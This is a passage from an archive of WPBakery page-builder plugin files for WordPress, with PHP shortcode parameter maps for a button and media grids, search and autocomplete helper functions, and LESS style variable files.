// default true, display an "EMPTY" icon?
'type' => 'pixelicons',
'source' => $pixel_icons,
),
'dependency' => array(
'element' => 'i_type',
'value' => 'pixelicons',
),
'description' => __( 'Select icon from library.', 'js_composer' ),
),
), array(
vc_map_add_css_animation( true ),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Advanced on click action', 'js_composer' ),
'param_name' => 'custom_onclick',
'description' => __( 'Insert inline onclick javascript action.', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'On click code', 'js_composer' ),
'param_name' => 'custom_onclick_code',
'description' => __( 'Enter onclick action code.', 'js_composer' ),
'dependency' => array(
'element' => 'custom_onclick',
'not_empty' => true,
),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
) );
/**
* @class WPBakeryShortCode_VC_Btn
*/
return array(
'name' => __( 'Button', 'js_composer' ),
'base' => 'vc_btn',
'icon' => 'icon-wpb-ui-button',
'category' => array(
__( 'Content', 'js_composer' ),
),
'description' => __( 'Eye catching button', 'js_composer' ),
'params' => $params,
'js_view' => 'VcButton3View',
'custom_markup' => '{{title}}<div class="vc_btn3-container"><button class="vc_general vc_btn3 vc_btn3-size-sm vc_btn3-shape-{{ params.shape }} vc_btn3-style-{{ params.style }} vc_btn3-color-{{ params.color }}">{{{ params.title }}}</button></div>',
);
grids/shortcode-vc-masonry-media-grid.php 0000666 00000000747 15126260003 0014462 0 ustar 00 <?php
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
require_once( 'class-vc-grids-common.php' );
$masonryMediaGridParams = VcGridsCommon::getMasonryMediaCommonAtts();
return array(
'name' => __( 'Masonry Media Grid', 'js_composer' ),
'base' => 'vc_masonry_media_grid',
'icon' => 'vc_icon-vc-masonry-media-grid',
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Masonry media grid from Media Library', 'js_composer' ),
'params' => $masonryMediaGridParams,
);
grids/vc-grids-functions.php 0000666 00000007647 15126260003 0012126 0 ustar 00 <?php
/**
* @since 4.5.2
*
* @param $term
*
* @return array|bool
*/
function vc_autocomplete_taxonomies_field_render( $term ) {
$vc_taxonomies_types = vc_taxonomies_types();
$terms = get_terms( array_keys( $vc_taxonomies_types ), array(
'include' => array( $term['value'] ),
'hide_empty' => false,
) );
$data = false;
if ( is_array( $terms ) && 1 === count( $terms ) ) {
$term = $terms[0];
$data = vc_get_term_object( $term );
}
return $data;
}
/**
* @since 4.5.2
*
* @param $search_string
*
* @return array|bool
*/
function vc_autocomplete_taxonomies_field_search( $search_string ) {
$data = array();
$vc_filter_by = vc_post_param( 'vc_filter_by', '' );
$vc_taxonomies_types = strlen( $vc_filter_by ) > 0 ? array( $vc_filter_by ) : array_keys( vc_taxonomies_types() );
$vc_taxonomies = get_terms( $vc_taxonomies_types, array(
'hide_empty' => false,
'search' => $search_string,
) );
if ( is_array( $vc_taxonomies ) && ! empty( $vc_taxonomies ) ) {
foreach ( $vc_taxonomies as $t ) {
if ( is_object( $t ) ) {
$data[] = vc_get_term_object( $t );
}
}
}
return $data;
}
/**
* @param $search
* @param $wp_query
*
* @return string
*/
function vc_search_by_title_only( $search, &$wp_query ) {
global $wpdb;
if ( empty( $search ) ) {
return $search;
} // skip processing - no search term in query
$q = $wp_query->query_vars;
if ( isset( $q['vc_search_by_title_only'] ) && true == $q['vc_search_by_title_only'] ) {
$n = ! empty( $q['exact'] ) ? '' : '%';
$search = $searchand = '';
foreach ( (array) $q['search_terms'] as $term ) {
$term = $wpdb->esc_like( $term );
$like = $n . $term . $n;
$search .= $wpdb->prepare( "{$searchand}($wpdb->posts.post_title LIKE %s)", $like );
$searchand = ' AND ';
}
if ( ! empty( $search ) ) {
$search = " AND ({$search}) ";
if ( ! is_user_logged_in() ) {
$search .= " AND ($wpdb->posts.post_password = '') ";
}
}
}
return $search;
}
/**
* @param $search_string
*
* @return array
*/
function vc_include_field_search( $search_string ) {
$query = $search_string;
$data = array();
$args = array(
's' => $query,
'post_type' => 'any',
);
$args['vc_search_by_title_only'] = true;
$args['numberposts'] = - 1;
if ( 0 === strlen( $args['s'] ) ) {
unset( $args['s'] );
}
add_filter( 'posts_search', 'vc_search_by_title_only', 500, 2 );
$posts = get_posts( $args );
if ( is_array( $posts ) && ! empty( $posts ) ) {
foreach ( $posts as $post ) {
$data[] = array(
'value' => $post->ID,
'label' => $post->post_title,
'group' => $post->post_type,
);
}
}
return $data;
}
/**
* @param $value
*
* @return array|bool
*/
function vc_include_field_render( $value ) {
$post = get_post( $value['value'] );
return is_null( $post ) ? false : array(
'label' => $post->post_title,
'value' => $post->ID,
'group' => $post->post_type,
);
}
/**
* @param $data_arr
*
* @return array
*/
function vc_exclude_field_search( $data_arr ) {
$query = isset( $data_arr['query'] ) ? $data_arr['query'] : null;
$term = isset( $data_arr['term'] ) ? $data_arr['term'] : '';
$data = array();
$args = ! empty( $query ) ? array(
's' => $term,
'post_type' => $query,
) : array(
's' => $term,
'post_type' => 'any',
);
$args['vc_search_by_title_only'] = true;
$args['numberposts'] = - 1;
if ( 0 === strlen( $args['s'] ) ) {
unset( $args['s'] );
}
add_filter( 'posts_search', 'vc_search_by_title_only', 500, 2 );
$posts = get_posts( $args );
if ( is_array( $posts ) && ! empty( $posts ) ) {
foreach ( $posts as $post ) {
$data[] = array(
'value' => $post->ID,
'label' => $post->post_title,
'group' => $post->post_type,
);
}
}
return $data;
}
/**
* @param $value
*
* @return array|bool
*/
function vc_exclude_field_render( $value ) {
$post = get_post( $value['value'] );
return is_null( $post ) ? false : array(
'label' => $post->post_title,
'value' => $post->ID,
'group' => $post->post_type,
);
} grids/shortcode-vc-media-grid.php 0000666 00000000602 15126260003 0012762 0 ustar 00 <?php
require_once( 'class-vc-grids-common.php' );
$mediaGridParams = VcGridsCommon::getMediaCommonAtts();
return array(
'name' => __( 'Media Grid', 'js_composer' ),
'base' => 'vc_media_grid',
'icon' => 'vc_icon-vc-media-grid',
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Media grid from Media Library', 'js_composer' ),
'params' => $mediaGridParams,
);
variables.less 0000666 00000006344 15126343112 0007415 0 ustar 00 @import (reference) "../../lib/bower/bootstrap3/less/bootstrap.less";
//Grid
// This variables are needed when grid is recalculated
@gridColumns: 12;
@fluidGridGutterWidth: 2.5%;
@negative_fluidGridGutterWidth: -@fluidGridGutterWidth;
@vc_span12: 100%;
@vc_span11: 91.45833333333334%;
@vc_span10: 82.91666666666667%;
@vc_span9: 74.375%;
@vc_span8: 65.83333333333334%;
@vc_span7: 57.29166666666667%;
@vc_span6: 48.75%;
@vc_span5: 40.208333333333336%;
@vc_span4: 31.666666666666668%;
@vc_span3: 23.125%;
@vc_span2: 14.583333333333334%;
@vc_span1: 6.041666666666667%;
// VC Variables
@vc_grey: #f7f7f7;
@vc_backend_controls_inactive_color: #e6e6e6;
@vc_grey_hover: #F0F0F0;
@vc_inner_container_bg_color: #FFFFFF;
@vc_smaller_font: 80%;
@vc_responsive_max_w: 480px;
@vc_element_margin_bottom: 35px;
@vc_margin_bottom_third: @vc_element_margin_bottom/3;
@vc_margin_bottom_gold: @vc_element_margin_bottom/1.61;
// vc_row
@vc_row_control_bg: @vc_backend_controls_inactive_color;
// vc_column
@vc_column_bg: #F5F5F5;
//vc_call_to_action.less
@vc_call_to_action_bg: @vc_grey;
@vc_call_to_action_border: @vc_grey_hover;
@vc_cta_button_w: 100% - 70% - @fluidGridGutterWidth;
@vc_call_to_action_2_bg: @grey;
//vc_google_maps.less
@vc_google_maps_bg: @vc_grey;
//vc_image_gallery.less
@vc_image_slider_link: @vc_grey;
@vc_image_slider_link_active: darken(@vc_grey, 20%);
//vc_post_slider.less
@vc_post_slider_caption_bg: @vc_grey;
//vc_progress_bar.less
@vc_progress_bar_bg: @vc_grey;
//vc_separator.less
@vc_separator_border: @grey;
//vc_tabs_tour_accordion.less
@tour_nav_spanX: 4;
@tour_nav_width: @vc_span1 * @tour_nav_spanX + @fluidGridGutterWidth * (@tour_nav_spanX - 1);
@tour_slides_width: 100% - @tour_nav_width;
@vc_tab_bg_active: @vc_grey;
@vc_tab_bg: @vc_inner_container_bg_color;
@vc_tab_tag_bg: @vc_backend_controls_inactive_color;
@vc_tab_tag_active_bg: #FFFFFF;
@vc_tab_tag_color: #848c91;
@vc_accordion_header_padding: 16px;
@vc_accordion_header_tag_bg: #FFFFFF;
@vc_accordion_tab_bg: #FFFFFF;
@vc_container_inner_shortcode_border_bg: @vc_backend_controls_inactive_color;
@vc_accordion_tab_label_margin_left: 23px;
@vc_accordion_tab_label_color: #6f777d;
//vc_teaser_grid.less
@vc_teaser_grid_w: 100% + @fluidGridGutterWidth;
@vc_teaser_grid_span2: 100% / @gridColumns * 2 - @fluidGridGutterWidth - 0.15%;
@vc_teaser_grid_span3: 100% / @gridColumns * 3 - @fluidGridGutterWidth - 0.08%;
@vc_teaser_grid_span4: 100% / @gridColumns * 4 - @fluidGridGutterWidth - 0.08%;
@vc_teaser_grid_span6: 100% / @gridColumns * 6 - @fluidGridGutterWidth - 0.05%;
@vc_teaser_grid_span12: 100% - @fluidGridGutterWidth;
@vc_carousel_arrows_bg: @vc_grey;
@vc_carousel_arrows_bg_hover: @vc_grey_hover;
// Teaser box
@vc_teaser_checkbox_radius: 2px;
@vc_arrows_font: 'vc_grid_v1';
@vc_arrows_path_eot: '../fonts/vc_grid/vc_grid_v1.eot';
@vc_arrows_path_ttf: '../fonts/vc_grid/vc_grid_v1.ttf';
@vc_arrows_path_woff: '../fonts/vc_grid/vc_grid_v1.woff';
@vc_arrows_path_svg: '../fonts/vc_grid/vc_grid_v1.svg';
@import "admin_variables.less";
@import "variables_common.less";
@import "variables_colors.less";
@import (reference) "../lib/vc_mixins.less";
// Breakpoints
@vc_grid-float-breakpoint: @grid-float-breakpoint;
@vc_grid-float-breakpoint-max: @grid-float-breakpoint-max;
@vc_background: #2c4c7e;
variables_common.less 0000666 00000003334 15126343112 0010761 0 ustar 00 // Bootstrap forked variables
// Button inverse background
@grayDarker: #222;
@grayDark: #333;
@gray: #555;
@white: #fff;
// Accent colors
// -------------------------
// Button warning background
@orange: #f89406;
@bodyBackground: @white;
// Links
// -------------------------
// Button primary background
@linkColor: #08c;
// Typography
// -------------------------
@baseFontSize: 13px;
@baseLineHeight: 18px;
// Buttons
// -------------------------
@vc_btnBackground: #f7f7f7;
@vc_btnBackgroundHighlight: darken(@vc_btnBackground, 5%);
@vc_btnBorder: #ccc;
@vc_btnPrimaryBackground: @linkColor;
@vc_btnPrimaryBackgroundHighlight: darken(@vc_btnPrimaryBackground, 5%);
@vc_btnInfoBackground: #58B9DA;
@vc_btnInfoBackgroundHighlight: darken(@vc_btnInfoBackground, 5%);
@vc_btnSuccessBackground: #6AB165;
@vc_btnSuccessBackgroundHighlight: darken(@vc_btnSuccessBackground, 5%);
@vc_btnWarningBackground: #FF9900;
@vc_btnWarningBackgroundHighlight: darken(@vc_btnWarningBackground, 5%);
@vc_btnDangerBackground: #FF675B;
@vc_btnDangerBackgroundHighlight: darken(@vc_btnDangerBackground, 5%);
@vc_btnInverseBackground: @gray;
@vc_btnInverseBackgroundHighlight: darken(@vc_btnInverseBackground, 5%);
// Alerts (Message boxes)
// -------------------------
@warningText: #c09853;
@warningBackground: #fcf8e3;
@warningBorder: darken(spin(@warningBackground, -10), 3%);
@errorText: #b94a48;
@errorBackground: #f2dede;
@errorBorder: darken(spin(@errorBackground, -10), 3%);
@successText: #468847;
@successBackground: #dff0d8;
@successBorder: darken(spin(@successBackground, -10), 5%);
@infoText: #3a87ad;
@infoBackground: #d9edf7;
@infoBorder: darken(spin(@infoBackground, -10), 7%);
@vc_btn_padding_vertical: 9px;
@vc_btn_padding_horizontal: 12px; admin_variables.less 0000666 00000005123 15126343112 0010557 0 ustar 00 @vc_pe_controls_sprite: '../vc/fe/controls.png';
@vc_pe_empty_container_icon: '../vc/fe/empty_row_sprite.png';
// Controls color settings
@vc_controls_background: #afd23e;
@vc_controls_border: #afd23e;
@vc_control_hover_color: #669c22;
@vc_controls_child_background: #F9B418;
@vc_controls_child_border: #F9B418;
@vc_controls_child_background_hover: #e78800;
@vc_controls_child_border_hover: #e78800;
@vc_controls_parent_background: #285A85;
@vc_controls_parent_border: #285A85;
@vc_controls_parent_background_hover: #032644;
@vc_controls_parent_border_hover: #032644;
@vc_controls_bottom_append_border_bottom: #f9b418;
@vc_controls_bottom_append_border_bottom_hover: #e78800;
@vc_backend_column_controls_height: 24px;
@vc_backend_column_margin_bottom: 15px;
@vc_element_hover_border: #EBEBEB;
@vc_element_hover_border_rgba: rgba(125, 125, 125, 0.40);
@vc_elemnet_container_min_height: 40px;
@vc_border_color: #e6e6e6;
@vc_border_radius: 3px;
@vc_placeholder_pattern: '../vc/pattern.gif';
@vc_elements_icons_sprite: '../vc/elements_icons_sprite.png?v3';
@vc_btn_default_color: #7d7d7d;
@vc_btn_default_bg: #fff;
@vc_btn_default_border: #ccc;
@vc_btn_primary_color: #fff;
@vc_btn_primary_bg: #00aef0;
@vc_btn_primary_border: darken(@vc_btn_primary_bg, 5%);
/* Navbar */
@vc_navbar_sprite: '../vc/navbar_controls.png';
// zero-based numbering
@vc_navbar_sprite_left_position: 0;
@vc_navbar_background_color: #2a4b80;
@vc_navbar_icon_btn_color: #1b3660;
@vc_navbar_border_color: #34588f;
@vc_navbar_margin: 0;
@vc_navbar_height: 55px;
@vc_navbar_fixed_right_padding: 160px;
/* Modal box */
@vc_zindex_modal: 100002;
@vc_modal_header_bg_color: #093459;
@vc_modal_header_color: #EEEEEE;
@vc_modal_content_border_color: #DDDDDD;
@vc_modal_content_radius: 2px;
@vc_add_element_width: 582px;
@vc_add_element_button_width: 174px;
@vc_modal_top_margin: 74px;
@modal-backdrop-opacity: 0.2;
@modal-inner-padding: 20px;
@zindex-modal-background: 100001;
@modal-title-padding: 0;
@modal-header-border-color: 0;
/* Panel */
@panel-border-radius: 2px;
@panel-footer-bg: #E6E6E6;
@panel-body-padding: 0;
// Variable for configuring VC settings tabs
// User group policies accordion headers.
@vc_settings_title_bottom_margin: 10px;
@vc_settings_right_control_button_margin: 0 10px;
@vc_backend_editor_margin_right: 10px;
// Bootstrap variables
@border-radius-base: 2px;
@navbar-height: @vc_navbar_height;
@btn-default-border: transparent;
@btn-primary-border: @btn-default-border;
@btn-success-border: @btn-default-border;
@btn-info-border: @btn-default-border;
@btn-warning-border: @btn-default-border;
@btn-danger-border: @btn-default-border;